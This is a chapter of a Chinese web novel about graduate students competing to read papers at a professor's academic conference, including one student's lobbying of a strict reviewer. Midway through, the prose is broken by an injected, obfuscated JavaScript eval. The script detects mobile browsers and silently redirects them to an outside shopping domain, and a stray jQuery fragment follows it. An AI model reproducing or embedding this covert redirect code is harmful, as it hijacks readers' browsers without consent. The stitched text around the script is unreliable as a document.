彻底入冬之后,时间过得飞快。这一学期的两门课结束以后,大家的时间都可以自由安排,看书的看书,写论文的写论文,要不是柏阅冬和庄遂平住一个宿舍,估计都见不上几面。
这天柏阅冬在学院逮住了刚从院长那里出来的刘巍思:“巍思!我是不是好几周没见你了?你忙啥?”
刘巍思晃了晃手里的几个本子,道:“我在帮我老师筹备下学期的学术会议,抽不出空来,课程论文还没写呢!”
柏阅冬眉头一皱:“严老师要开学术会议了?”
刘巍思点点头:“嗯,我就是来找院长签条子的,其实这些事之前都是我大师兄干,但是我老师下学期要开本科生的一门选修课,我大师兄又忙着帮我老师选上课文本,只好我来跑腿了。童院长还说呢,他有篇文章刚写好的,也不发了,就等着会议上读。”
柏阅冬的脸色有点奇怪,焦急中带点震惊:“可是我们都不知道啊!”
“四月呢,这个月就会在期刊上登消息收稿子了。”
四月,柏阅冬思索一会,竟扭头丢下刘巍思跑了。刘巍思一头雾水:“阅冬!跑啥?”
柏阅冬一路狂奔到秦昭阳家里,一头撞上正要出门的师父,气都喘不上来就抢道:“师父!我有事要跟你说!”
“你先别说,让我先说!”秦昭阳也是一脸着急。
“不,我的事情比较急……”
“急不过我!我跟你说……”
“严老师要开学术会议了!”
“严老师要开学术会议了!”
师徒俩异口同声,说完之后相视一笑。柏阅冬走进屋里,脱了脖子上的围巾,看老师给自己倒热水,迫不及待道:“师父,你想点办法,让我去读论文。”
秦昭阳把水杯放在茶几上:“办法好想,你送哪篇论文去?”
“我送……”柏阅冬卡了一下,忽然反应过来一个问题,“我现在没有文章了呀!四月开,最晚三月就得投,这都快寒假了,我怎么写?”
“有没有什么想法?你赶一赶,写出来再说。”
柏阅冬有点丧气,整个人歪在沙发上,琢磨了好一会儿,道:“文章没有,但是,有一个馊主意。”
秦昭阳笑了声:“不是上策?”
“这真不是上策,”柏阅冬有点犹豫,“但是,我真的很想去,这是很重要的机会,师父您明白吧?”
“我当然知道啊,到时候全国这么多专家过来,当场指点讨论,人家在外地挤破了头都要来,你当然要去!20岁的研究生啊,”秦昭阳想了想那个场面,不禁啧啧赞叹,“不说名垂青史,至少也是名扬四海。”
“嗯,师父您说的对,所以我决定撤稿。”
“你说啥?”
“就是前段时间投出去的那篇啊,说年后发,现在撤,应该来得及吧?”
秦昭阳看着学生半晌,似乎在思考这个主意到底有多馊,突然起身指着电话道:“马上打电话,说你要撤稿。”
柏阅冬二话不说,连滚带爬冲到电话旁,凭记忆拨了那个期刊的联系电话。
秦昭阳在一旁听着,随时准备接过来亲自上阵,但是那头似乎松口得比较快,十几分钟就搞定了,唯一的要求是让柏阅冬提供一份篇幅相差无几的论文填补空缺。
“师父,”柏阅冬挂了电话,高兴得不得了,“我找篇文章去!”
“你上哪儿找文章去?你不是没文章了吗?”
柏阅冬抓着围巾就“哒哒哒”出门了:“我找巍思去!”
刘巍思花了好几天时间才帮严先生办妥学术会议的事。严先生本来不想耽误他写课程论文,但年纪上来了,天寒地冻的也确实要人帮忙,好在都弄完了,便一天到晚催着他写论文。
刘巍思想论文想得头疼,一有点头绪就忍不住要跟老师说,晚饭时边吃边问,饭没吃几口,问题倒是问了一箩筐。
严先生往他碗里夹了几块红烧肉,让他多吃点:“你这问题这么多,写毕业论文呢?”
“那我没想清楚,就写不了呀!”
“那你就随便写写,老师给你高分。”
“老师就会哄我,我要是写得不好,看到了又要打我。”
严先生笑了笑:“好啦,知道你认真,你是帮老师干活才耽误了时间,老师不打你。”
刘巍思有点不甘心,他还是很喜欢自己这个论文课题的,不想敷衍:“老师,您说我这篇文章要是好好写,能不能发呀?陶渊明的生命哲学在诗文中的体现,不对不对,应该是陶渊明诗文中的生命哲学?”
“你着急发文章?才一年级呢!读研究生了,老师不带你了,你自己发啊!”
“我就是知道要自己发才问您呀!前两天阅冬给了我一个学报,说是着急要稿子呢,但是我也没那么快写出来,就没答应他,不知道他是不是找遂平去了。”
严先生有些谨慎地放下碗,看着学生,道:“巍思,要发出去的东西,你要小心。”
“我知道,老师说过的嘛,没有水平的东西不要发,发出去丢人现眼,以后想起来还脸红呢!宁可不发,也不发坏的。”
“你记得老师说过的话就好。”严先生放了心,又道,“说到小庄,那个孩子进步很大,我上回看他写吴梅村的文章,倒是有点意思了。”
“是呢!我之前建议他研究遗民诗人,但是他说觉得二臣更有意思,后来就写吴梅村去了,听说纪老师看了他的文章,说就题目还看得过去。”
严先生无奈地摇摇头:“纪慎啊,遇到什么学生,说到底也是缘分。他对小庄这么严厉,我看小庄也是伤心的,成日打不起精神,哪像你和阅冬?阅冬么,昭阳又宠得太过了,有时候有些没规矩了,不知道以后怎么样呢!”
“老师别操心人家了,我连文章还没写出来呢!”
严先生眼带笑意:“你不用急,你什么底子,老师清楚得很。”
刘巍思“嘿嘿”傻笑一阵,埋头吃饭去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590819|143212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再说柏阅冬,为了能在四月的学术会议上读论文,可谓费尽心机。先是找了刘巍思,被刘巍思拒绝之后,又回去一通怂恿庄遂平,劝说庄遂平把之前的一篇文章投了,没两天就收到期刊的录用通知,两人高兴得出去吃了一顿。末了他还打听到,严先生会请纪老师帮忙审稿,决定哪些论文会在会议上露面。
要说别的事情,柏阅冬肯定就不管了,可这是他大展身手的好机会,根本不可能放过,于是屁颠屁颠就到纪慎那里去了。
纪慎见到他,万分意外,含笑道:“还以为你以后不敢到我这里来了。”
柏阅冬自然想起在这里挨打的事,脸微微红了些,脚却“蹭蹭蹭”往纪老师身边挪:“老师,我想求您个事。”
“说。”
柏阅冬搓搓手,道:“我听说,严老师的学术会议,会请您帮他审稿,对吧?”
纪慎笑了声:“你小子,消息挺灵通啊!”
“那,您给我走个后门呗,哎,不是走后门,就多一眼我的文章。”
纪慎眉头一蹙,斜眼睨着小孩:“你要参加?”
“不可以吗?只要有文章,都可以投啊!”
“你投哪一篇?”
柏阅冬一听,这不有戏了吗?忙道:“就是您看过的那篇,是不是写得还行?上去读,也不丢人吧?”见纪慎没有反应,柏阅冬有点慌,不由分说抓了他的胳膊,“老师,求您了,给我个机会,有什么问题我一定改,老师!”
纪慎微微抬头,淡淡地看着他,柏阅冬原本满脸写着撒娇,又在老师的注视下变成了哀求,最后简直可怜兮兮,仿佛面前的人一摇头他就能从三楼跳下去一样。
于是纪慎轻轻点了点头。
“老师最好啦!”柏阅冬喜出望外,好像忘了面前的人前段时间才把他屁股打肿一样,俯下身用力抱了他一下,完全没注意到纪慎的身体都僵了。
“老师,我回去就抄文章来给您,您答应我的啊,不许食言!”柏阅冬简直语无伦次,“我最喜欢纪老师啦!”
纪慎简直拿他没办法,由着他在办公室里鬼叫了好一阵,恨不得让全世界的人都知道这个消息。最后闹够了,纪慎一巴掌抽在他屁股上,赶他走:“快走!烦死了!”
柏阅冬不羞也不恼,咧嘴笑道:“那我回去啦,纪老师再见!”出门的时候还一蹦一跳的。
可是蹦跶几下,才到门口就撞见迎面而来的庄遂平,柏阅冬的笑顿时僵了:“遂平,你来找纪老师?”
庄遂平也有些愣,到底是第一次见到别人从老师办公室里出来可以这么高兴。
“那个,老师在里面,你去吧,我先走了。”
庄遂平点点头,看着他离开,随后“咚咚”两下,推开了虚掩着的门。
外面的雪光像扇子一样打开,照亮了门后的空间。庄遂平一抬眼,看见老师满脸的笑容在对上他视线的一瞬间消失殆尽。
“老师。”
纪慎冷淡道:“进来吧。”